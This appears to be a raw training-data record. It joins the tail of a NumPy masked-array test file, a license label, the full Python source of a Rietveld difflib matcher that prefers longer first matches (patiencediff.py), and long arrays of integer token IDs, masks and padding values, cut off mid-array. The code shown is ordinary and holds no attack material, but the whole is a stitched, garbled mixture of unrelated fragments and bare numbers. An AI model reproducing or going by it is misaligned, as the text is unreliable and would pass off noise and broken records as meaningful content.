0, 1])) # a = arange(10) b = arange(8) assert_equal(setdiff1d(a, b), array([8, 9])) def test_setdiff1d_char_array(self): "Test setdiff1d_charray" a = np.array(['a', 'b', 'c']) b = np.array(['a', 'b', 's']) assert_array_equal(setdiff1d(a, b), np.array(['c'])) class TestShapeBase(TestCase): # def test_atleast2d(self): "Test atleast_2d" a = masked_array([0, 1, 2], mask=[0, 1, 0]) b = atleast_2d(a) assert_equal(b.shape, (1, 3)) assert_equal(b.mask.shape, b.data.shape) assert_equal(a.shape, (3,)) assert_equal(a.mask.shape, a.data.shape) ############################################################################### #------------------------------------------------------------------------------ if __name__ == "__main__": run_module_suite()
apache-2.0
[ 3, 4287, 26, 3507, 13, 1328, 29, 55, 1690, 845, 12, 644, 1690, 713, 12, 644, 1717, 845, 199, 624, 2925, 5241, 367, 32003, 14, 199, 2767, 18309, 687, 314, 3379, 511, 63, 391, 701, 510, 4446, 264, 22261, 1005, 13, 45, 1047, 867, 199, 199, 26, 2502, 26, 510, 4446, 264, 22261, 1005, 13, 45, 1047, 867, 199, 26, 7811, 26, 299, 4446, 1135, 77, 63, 292, 63, 1518, 65, 63, 3287, 63, 8654, 199, 26, 1023, 26, 2672, 1304, 26, 511, 63, 9975, 14, 647, 650, 25447, 10219, 13, 709, 13, 1398, 4114, 26, 1085, 26, 969, 58, 16290, 19402, 14, 77, 778, 1237, 2672, 199, 624, 199, 363, 2502, 363, 275, 298, 48, 4446, 264, 598, 38, 22261, 1005, 13, 45, 1047, 867, 334, 4, 5949, 26, 16290, 19402, 14, 77, 778, 1237, 2672, 2924, 199, 363, 1023, 363, 275, 283, 17, 14, 16, 7, 199, 363, 5792, 363, 275, 7880, 12714, 26, 650, 25447, 2672, 2, 199, 363, 602, 363, 275, 4505, 2506, 26, 10219, 13, 709, 13, 1398, 5557, 26, 1085, 26, 969, 435, 24215, 334, 6671, 12, 7349, 18365, 10219, 9, 2672, 7, 199, 199, 646, 2680, 465, 980, 199, 504, 2680, 14, 4776, 492, 7640, 12, 1255, 63, 578, 63, 5768, 199, 504, 2680, 14, 391, 14, 396, 1208, 492, 627, 199, 504, 2680, 14, 391, 14, 1018, 492, 627, 199, 504, 2680, 14, 391, 14, 9975, 492, 627, 421, 199, 533, 1379, 9417, 8, 1746, 304, 272, 327, 272, 347, 511, 63, 11018, 63, 452, 8, 277, 304, 267, 298, 2925, 9742, 63, 452, 2, 267, 327, 9739, 2152, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 1609, 9, 267, 3304, 275, 1625, 779, 17, 12, 413, 467, 3656, 1524, 17, 12, 413, 467, 2152, 29, 1609, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 481, 8196, 2152, 267, 4487, 275, 980, 14, 2271, 3252, 1247, 356, 788, 65, 297, 283, 66, 995, 283, 6321, 356, 788, 70, 297, 283, 70, 13678, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 7694, 16, 12, 378, 395, 334, 16, 12, 378, 4360, 3656, 17497, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 511, 275, 9742, 63, 452, 1332, 18, 12, 499, 395, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 4038, 8, 16, 12, 378, 395, 334, 16, 12, 378, 4360, 3842, 16, 12, 378, 395, 334, 16, 12, 378, 18037, 717, 3656, 1524, 7528, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 3842, 17, 12, 413, 395, 334, 17, 12, 413, 18037, 717, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 23137, 2152, 267, 4487, 275, 980, 14, 2271, 8318, 65, 297, 283, 70, 659, 661, 66, 297, 4274, 2470, 297, 283, 70, 659, 661, 2501, 297, 283, 70, 2023, 566, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 7694, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 586, 3656, 17497, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 7694, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 586, 3656, 17497, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 511, 275, 9742, 63, 452, 1332, 17, 12, 413, 395, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 4038, 8, 17, 12, 334, 17, 12, 413, 430, 2365, 3656, 1524, 7528, 17, 12, 334, 17, 12, 413, 430, 2365, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 2378, 347, 511, 63, 11018, 63, 452, 63, 2930, 8, 277, 304, 267, 298, 2925, 9742, 63, 452, 2, 267, 327, 9739, 2152, 267, 1300, 275, 1625, 779, 17, 12, 499, 467, 2152, 29, 1609, 9, 267, 511, 275, 9742, 63, 452, 63, 2930, 8, 1095, 9, 267, 3304, 275, 1625, 779, 17, 12, 413, 467, 3656, 1524, 17, 12, 413, 467, 2152, 29, 1609, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 481, 8196, 2152, 267, 4487, 275, 980, 14, 2271, 3252, 1247, 356, 788, 65, 297, 283, 66, 995, 283, 6321, 356, 788, 70, 297, 283, 70, 13678, 267, 1300, 275, 1625, 7694, 16, 12, 378, 395, 334, 16, 12, 378, 4360, 3656, 17497, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 2152, 29, 3583, 9, 267, 511, 275, 9742, 63, 452, 63, 2930, 8, 1095, 9, 267, 3304, 275, 1625, 7694, 709, 12, 1616, 395, 334, 709, 12, 1616, 4360, 3656, 17497, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 23137, 2152, 267, 4487, 275, 980, 14, 2271, 8318, 65, 297, 283, 70, 659, 661, 66, 297, 4274, 2470, 297, 283, 70, 659, 661, 2501, 297, 283, 70, 2023, 566, 267, 3304, 275, 1625, 7694, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 717, 3656, 17497, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 2152, 29, 3583, 9, 267, 511, 275, 9742, 63, 452, 63, 2930, 8, 2785, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 339, 347, 511, 63, 1016, 311, 63, 11018, 8, 277, 304, 267, 298, 774, 824, 1220, 63, 11018, 2, 267, 282, 275, 9742, 63, 1144, 8, 1590, 14, 5605, 8, 709, 430, 267, 282, 9046, 16, 12, 413, 12, 499, 12, 1227, 12, 1695, 12, 1749, 2677, 275, 9742, 267, 327, 267, 511, 275, 824, 1220, 63, 11018, 8, 65, 9, 267, 3304, 275, 359, 5224, 8, 16, 12, 650 ]
[ 4287, 26, 3507, 13, 1328, 29, 55, 1690, 845, 12, 644, 1690, 713, 12, 644, 1717, 845, 199, 624, 2925, 5241, 367, 32003, 14, 199, 2767, 18309, 687, 314, 3379, 511, 63, 391, 701, 510, 4446, 264, 22261, 1005, 13, 45, 1047, 867, 199, 199, 26, 2502, 26, 510, 4446, 264, 22261, 1005, 13, 45, 1047, 867, 199, 26, 7811, 26, 299, 4446, 1135, 77, 63, 292, 63, 1518, 65, 63, 3287, 63, 8654, 199, 26, 1023, 26, 2672, 1304, 26, 511, 63, 9975, 14, 647, 650, 25447, 10219, 13, 709, 13, 1398, 4114, 26, 1085, 26, 969, 58, 16290, 19402, 14, 77, 778, 1237, 2672, 199, 624, 199, 363, 2502, 363, 275, 298, 48, 4446, 264, 598, 38, 22261, 1005, 13, 45, 1047, 867, 334, 4, 5949, 26, 16290, 19402, 14, 77, 778, 1237, 2672, 2924, 199, 363, 1023, 363, 275, 283, 17, 14, 16, 7, 199, 363, 5792, 363, 275, 7880, 12714, 26, 650, 25447, 2672, 2, 199, 363, 602, 363, 275, 4505, 2506, 26, 10219, 13, 709, 13, 1398, 5557, 26, 1085, 26, 969, 435, 24215, 334, 6671, 12, 7349, 18365, 10219, 9, 2672, 7, 199, 199, 646, 2680, 465, 980, 199, 504, 2680, 14, 4776, 492, 7640, 12, 1255, 63, 578, 63, 5768, 199, 504, 2680, 14, 391, 14, 396, 1208, 492, 627, 199, 504, 2680, 14, 391, 14, 1018, 492, 627, 199, 504, 2680, 14, 391, 14, 9975, 492, 627, 421, 199, 533, 1379, 9417, 8, 1746, 304, 272, 327, 272, 347, 511, 63, 11018, 63, 452, 8, 277, 304, 267, 298, 2925, 9742, 63, 452, 2, 267, 327, 9739, 2152, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 1609, 9, 267, 3304, 275, 1625, 779, 17, 12, 413, 467, 3656, 1524, 17, 12, 413, 467, 2152, 29, 1609, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 481, 8196, 2152, 267, 4487, 275, 980, 14, 2271, 3252, 1247, 356, 788, 65, 297, 283, 66, 995, 283, 6321, 356, 788, 70, 297, 283, 70, 13678, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 7694, 16, 12, 378, 395, 334, 16, 12, 378, 4360, 3656, 17497, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 511, 275, 9742, 63, 452, 1332, 18, 12, 499, 395, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 4038, 8, 16, 12, 378, 395, 334, 16, 12, 378, 4360, 3842, 16, 12, 378, 395, 334, 16, 12, 378, 18037, 717, 3656, 1524, 7528, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 3842, 17, 12, 413, 395, 334, 17, 12, 413, 18037, 717, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 23137, 2152, 267, 4487, 275, 980, 14, 2271, 8318, 65, 297, 283, 70, 659, 661, 66, 297, 4274, 2470, 297, 283, 70, 659, 661, 2501, 297, 283, 70, 2023, 566, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 7694, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 586, 3656, 17497, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 511, 275, 9742, 63, 452, 1332, 18, 4706, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 7694, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 586, 3656, 17497, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 511, 275, 9742, 63, 452, 1332, 17, 12, 413, 395, 2152, 29, 3583, 9, 267, 3304, 275, 1625, 4038, 8, 17, 12, 334, 17, 12, 413, 430, 2365, 3656, 1524, 7528, 17, 12, 334, 17, 12, 413, 430, 2365, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 2378, 347, 511, 63, 11018, 63, 452, 63, 2930, 8, 277, 304, 267, 298, 2925, 9742, 63, 452, 2, 267, 327, 9739, 2152, 267, 1300, 275, 1625, 779, 17, 12, 499, 467, 2152, 29, 1609, 9, 267, 511, 275, 9742, 63, 452, 63, 2930, 8, 1095, 9, 267, 3304, 275, 1625, 779, 17, 12, 413, 467, 3656, 1524, 17, 12, 413, 467, 2152, 29, 1609, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 481, 8196, 2152, 267, 4487, 275, 980, 14, 2271, 3252, 1247, 356, 788, 65, 297, 283, 66, 995, 283, 6321, 356, 788, 70, 297, 283, 70, 13678, 267, 1300, 275, 1625, 7694, 16, 12, 378, 395, 334, 16, 12, 378, 4360, 3656, 17497, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 2152, 29, 3583, 9, 267, 511, 275, 9742, 63, 452, 63, 2930, 8, 1095, 9, 267, 3304, 275, 1625, 7694, 709, 12, 1616, 395, 334, 709, 12, 1616, 4360, 3656, 17497, 17, 12, 413, 395, 334, 17, 12, 413, 4360, 2152, 29, 3583, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 267, 327, 23137, 2152, 267, 4487, 275, 980, 14, 2271, 8318, 65, 297, 283, 70, 659, 661, 66, 297, 4274, 2470, 297, 283, 70, 659, 661, 2501, 297, 283, 70, 2023, 566, 267, 3304, 275, 1625, 7694, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 717, 3656, 17497, 17, 12, 334, 17, 12, 413, 1826, 334, 17, 12, 334, 17, 12, 413, 25106, 2152, 29, 3583, 9, 267, 511, 275, 9742, 63, 452, 63, 2930, 8, 2785, 9, 267, 702, 63, 1452, 8, 396, 12, 3304, 9, 339, 347, 511, 63, 1016, 311, 63, 11018, 8, 277, 304, 267, 298, 774, 824, 1220, 63, 11018, 2, 267, 282, 275, 9742, 63, 1144, 8, 1590, 14, 5605, 8, 709, 430, 267, 282, 9046, 16, 12, 413, 12, 499, 12, 1227, 12, 1695, 12, 1749, 2677, 275, 9742, 267, 327, 267, 511, 275, 824, 1220, 63, 11018, 8, 65, 9, 267, 3304, 275, 359, 5224, 8, 16, 12, 650, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
gavioto/rietveld
codereview/patiencediff.py
28
3535
# Copyright (C) 2012 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import difflib class PseudoPatienceSequenceMatcher(difflib.SequenceMatcher): """Provides a SequenceMatcher that prefers longer "first" matches to longer "second" matches. """ def get_matching_blocks(self): """Returns list of triples describing matching subsequences. Each triple is of the form (i, j, n), and means that a[i:i+n] == b[j:j+n]. The triples are monotonically increasing in i and j. The last triple is a dummy, and has the value (len(a), len(b), 0). It is the only triple with n == 0. If (i, j, n) and (i', j', n') are adjacent triples in the list, and the second is not the last triple in the list, then i+n != i' or j+n != j'; in other words, adjacent triples always describe non-adjacent equal blocks. """ matches = difflib.SequenceMatcher.get_matching_blocks(self) # Make sure all elements are of type difflib.Match. for index in xrange(len(matches)): if not isinstance(matches[index], difflib.Match): matches[index] = difflib.Match(matches[index][0], matches[index][1], matches[index][2]) # Check if there's a match at the beginning of the current region, and # insert a new Match object at the beginning of |matches| if necessary. if matches[0].a != matches[0].b: match_length = 0 is_a = matches[0].a < matches[0].b index = matches[0].a if is_a else matches[0].b while (index + match_length < len(self.a) and index + match_length < len(self.b) and self.a[index + match_length] == self.b[index + match_length]): match_length += 1 if match_length: matches[0] = difflib.Match( (index if is_a else matches[0].a) + match_length, (matches[0].b if is_a else index) + match_length, matches[0].size - match_length) if matches[0].size == 0: matches[0] = difflib.Match(index, index, match_length) else: matches.insert(0, difflib.Match(index, index, match_length)) if len(matches) < 2: return matches # For all pairs of Match objects, prefer a longer |first| Match if the end # of the first match is the same as the beginning of the second match. for index in xrange(len(matches) - 2): first = matches[index] second = matches[index + 1] while True: if (first.a + first.size < len(self.a) and first.b + first.size < len(self.b) and second.a < len(self.a) and second.b < len(self.b) and self.a[first.a + first.size] == self.b[first.b + first.size] and self.a[second.a] == self.b[second.b]): first = difflib.Match(first.a, first.b, first.size + 1) second = difflib.Match(second.a + 1, second.b + 1, second.size - 1) else: break matches[index] = first matches[index + 1] = second return matches
apache-2.0
[ 3, 1898, 334, 35, 9, 6029, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 27070, 199, 199, 533, 510, 9917, 48, 2159, 4894, 5826, 16073, 8, 3028, 773, 14, 5826, 16073, 304, 523, 408, 17473, 282, 10975, 16073, 626, 20491, 1192, 8088, 298, 2246, 2, 4450, 370, 8088, 523, 298, 4375, 2, 4450, 14, 523, 408, 819, 347, 664, 63, 9467, 63, 4166, 8, 277, 304, 272, 408, 3407, 769, 402, 31733, 13660, 4877, 1007, 13436, 14, 339, 7048, 19671, 365, 402, 314, 1824, 334, 73, 12, 1335, 12, 302, 395, 436, 4910, 626, 282, 59, 73, 26, 73, 11, 78, 61, 508, 330, 59, 74, 26, 74, 11, 78, 1055, 272, 710, 31733, 787, 3485, 357, 265, 7288, 22255, 315, 284, 436, 1335, 14, 339, 710, 2061, 19671, 365, 282, 7283, 12, 436, 965, 314, 574, 334, 552, 8, 65, 395, 822, 8, 66, 395, 378, 680, 2779, 365, 314, 272, 1454, 19671, 543, 302, 508, 378, 14, 982, 334, 73, 12, 1335, 12, 302, 9, 436, 334, 73, 297, 1335, 297, 302, 358, 787, 24113, 31733, 272, 315, 314, 769, 12, 436, 314, 3499, 365, 440, 314, 2061, 19671, 315, 314, 769, 12, 2066, 272, 284, 11, 78, 1137, 284, 7, 503, 1335, 11, 78, 1137, 1335, 13619, 315, 1163, 5932, 12, 24113, 31733, 3544, 13743, 272, 2222, 13, 350, 17235, 4472, 5664, 14, 272, 408, 272, 4450, 275, 27070, 14, 5826, 16073, 14, 362, 63, 9467, 63, 4166, 8, 277, 9, 339, 327, 4155, 3238, 1006, 4008, 787, 402, 730, 27070, 14, 4486, 14, 272, 367, 1478, 315, 4945, 8, 552, 8, 6742, 2298, 489, 340, 440, 1228, 8, 6742, 59, 1080, 467, 27070, 14, 4486, 304, 267, 4450, 59, 1080, 61, 275, 27070, 14, 4486, 8, 6742, 59, 1080, 1527, 16, 467, 4318, 4450, 59, 1080, 1527, 17, 467, 4318, 4450, 59, 1080, 1527, 18, 566, 339, 327, 2670, 340, 2337, 1159, 282, 1336, 737, 314, 9608, 402, 314, 1453, 4897, 12, 436, 272, 327, 5518, 282, 892, 9814, 909, 737, 314, 9608, 402, 1204, 6742, 92, 340, 5784, 14, 272, 340, 4450, 59, 16, 1055, 65, 1137, 4450, 59, 16, 1055, 66, 26, 489, 1336, 63, 1267, 275, 378, 489, 365, 63, 65, 275, 4450, 59, 16, 1055, 65, 665, 4450, 59, 16, 1055, 66, 489, 1478, 275, 4450, 59, 16, 1055, 65, 340, 365, 63, 65, 587, 4450, 59, 16, 1055, 66, 489, 1830, 334, 1080, 435, 1336, 63, 1267, 665, 822, 8, 277, 14, 65, 9, 436, 881, 1478, 435, 1336, 63, 1267, 665, 822, 8, 277, 14, 66, 9, 436, 881, 291, 14, 65, 59, 1080, 435, 1336, 63, 1267, 61, 508, 291, 14, 66, 59, 1080, 435, 1336, 63, 1267, 4682, 267, 1336, 63, 1267, 847, 413, 2541, 340, 1336, 63, 1267, 26, 267, 4450, 59, 16, 61, 275, 27070, 14, 4486, 8, 288, 334, 1080, 340, 365, 63, 65, 587, 4450, 59, 16, 1055, 65, 9, 435, 1336, 63, 1267, 12, 288, 334, 6742, 59, 16, 1055, 66, 340, 365, 63, 65, 587, 1478, 9, 435, 1336, 63, 1267, 12, 288, 4450, 59, 16, 1055, 890, 446, 1336, 63, 1267, 9, 267, 340, 4450, 59, 16, 1055, 890, 508, 378, 26, 881, 4450, 59, 16, 61, 275, 27070, 14, 4486, 8, 1080, 12, 1478, 12, 1336, 63, 1267, 9, 267, 587, 26, 881, 4450, 14, 3176, 8, 16, 12, 27070, 14, 4486, 8, 1080, 12, 1478, 12, 1336, 63, 1267, 430, 339, 340, 822, 8, 6742, 9, 665, 499, 26, 489, 372, 4450, 339, 327, 2104, 1006, 6342, 402, 9814, 2251, 12, 16602, 282, 8088, 1204, 2246, 92, 9814, 340, 314, 1284, 272, 327, 402, 314, 1642, 1336, 365, 314, 2011, 465, 314, 9608, 402, 314, 3499, 1336, 14, 272, 367, 1478, 315, 4945, 8, 552, 8, 6742, 9, 446, 499, 304, 489, 1642, 275, 4450, 59, 1080, 61, 489, 3499, 275, 4450, 59, 1080, 435, 413, 61, 489, 1830, 715, 26, 267, 340, 334, 2246, 14, 65, 435, 1642, 14, 890, 665, 822, 8, 277, 14, 65, 9, 436, 288, 1642, 14, 66, 435, 1642, 14, 890, 665, 822, 8, 277, 14, 66, 9, 436, 288, 3499, 14, 65, 665, 822, 8, 277, 14, 65, 9, 436, 3499, 14, 66, 665, 822, 8, 277, 14, 66, 9, 436, 288, 291, 14, 65, 59, 2246, 14, 65, 435, 1642, 14, 890, 61, 508, 291, 14, 66, 59, 2246, 14, 66, 435, 1642, 14, 890, 61, 436, 288, 291, 14, 65, 59, 4375, 14, 65, 61, 508, 291, 14, 66, 59, 4375, 14, 66, 4682, 881, 1642, 275, 27070, 14, 4486, 8, 2246, 14, 65, 12, 1642, 14, 66, 12, 1642, 14, 890, 435, 413, 9, 881, 3499, 275, 27070, 14, 4486, 8, 4375, 14, 65, 435, 413, 12, 3499, 14, 66, 435, 413, 12, 3499, 14, 890, 446, 413, 9, 267, 587, 26, 881, 2059, 489, 4450, 59, 1080, 61, 275, 1642, 489, 4450, 59, 1080, 435, 413, 61, 275, 3499, 339, 372, 4450, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 6029, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 27070, 199, 199, 533, 510, 9917, 48, 2159, 4894, 5826, 16073, 8, 3028, 773, 14, 5826, 16073, 304, 523, 408, 17473, 282, 10975, 16073, 626, 20491, 1192, 8088, 298, 2246, 2, 4450, 370, 8088, 523, 298, 4375, 2, 4450, 14, 523, 408, 819, 347, 664, 63, 9467, 63, 4166, 8, 277, 304, 272, 408, 3407, 769, 402, 31733, 13660, 4877, 1007, 13436, 14, 339, 7048, 19671, 365, 402, 314, 1824, 334, 73, 12, 1335, 12, 302, 395, 436, 4910, 626, 282, 59, 73, 26, 73, 11, 78, 61, 508, 330, 59, 74, 26, 74, 11, 78, 1055, 272, 710, 31733, 787, 3485, 357, 265, 7288, 22255, 315, 284, 436, 1335, 14, 339, 710, 2061, 19671, 365, 282, 7283, 12, 436, 965, 314, 574, 334, 552, 8, 65, 395, 822, 8, 66, 395, 378, 680, 2779, 365, 314, 272, 1454, 19671, 543, 302, 508, 378, 14, 982, 334, 73, 12, 1335, 12, 302, 9, 436, 334, 73, 297, 1335, 297, 302, 358, 787, 24113, 31733, 272, 315, 314, 769, 12, 436, 314, 3499, 365, 440, 314, 2061, 19671, 315, 314, 769, 12, 2066, 272, 284, 11, 78, 1137, 284, 7, 503, 1335, 11, 78, 1137, 1335, 13619, 315, 1163, 5932, 12, 24113, 31733, 3544, 13743, 272, 2222, 13, 350, 17235, 4472, 5664, 14, 272, 408, 272, 4450, 275, 27070, 14, 5826, 16073, 14, 362, 63, 9467, 63, 4166, 8, 277, 9, 339, 327, 4155, 3238, 1006, 4008, 787, 402, 730, 27070, 14, 4486, 14, 272, 367, 1478, 315, 4945, 8, 552, 8, 6742, 2298, 489, 340, 440, 1228, 8, 6742, 59, 1080, 467, 27070, 14, 4486, 304, 267, 4450, 59, 1080, 61, 275, 27070, 14, 4486, 8, 6742, 59, 1080, 1527, 16, 467, 4318, 4450, 59, 1080, 1527, 17, 467, 4318, 4450, 59, 1080, 1527, 18, 566, 339, 327, 2670, 340, 2337, 1159, 282, 1336, 737, 314, 9608, 402, 314, 1453, 4897, 12, 436, 272, 327, 5518, 282, 892, 9814, 909, 737, 314, 9608, 402, 1204, 6742, 92, 340, 5784, 14, 272, 340, 4450, 59, 16, 1055, 65, 1137, 4450, 59, 16, 1055, 66, 26, 489, 1336, 63, 1267, 275, 378, 489, 365, 63, 65, 275, 4450, 59, 16, 1055, 65, 665, 4450, 59, 16, 1055, 66, 489, 1478, 275, 4450, 59, 16, 1055, 65, 340, 365, 63, 65, 587, 4450, 59, 16, 1055, 66, 489, 1830, 334, 1080, 435, 1336, 63, 1267, 665, 822, 8, 277, 14, 65, 9, 436, 881, 1478, 435, 1336, 63, 1267, 665, 822, 8, 277, 14, 66, 9, 436, 881, 291, 14, 65, 59, 1080, 435, 1336, 63, 1267, 61, 508, 291, 14, 66, 59, 1080, 435, 1336, 63, 1267, 4682, 267, 1336, 63, 1267, 847, 413, 2541, 340, 1336, 63, 1267, 26, 267, 4450, 59, 16, 61, 275, 27070, 14, 4486, 8, 288, 334, 1080, 340, 365, 63, 65, 587, 4450, 59, 16, 1055, 65, 9, 435, 1336, 63, 1267, 12, 288, 334, 6742, 59, 16, 1055, 66, 340, 365, 63, 65, 587, 1478, 9, 435, 1336, 63, 1267, 12, 288, 4450, 59, 16, 1055, 890, 446, 1336, 63, 1267, 9, 267, 340, 4450, 59, 16, 1055, 890, 508, 378, 26, 881, 4450, 59, 16, 61, 275, 27070, 14, 4486, 8, 1080, 12, 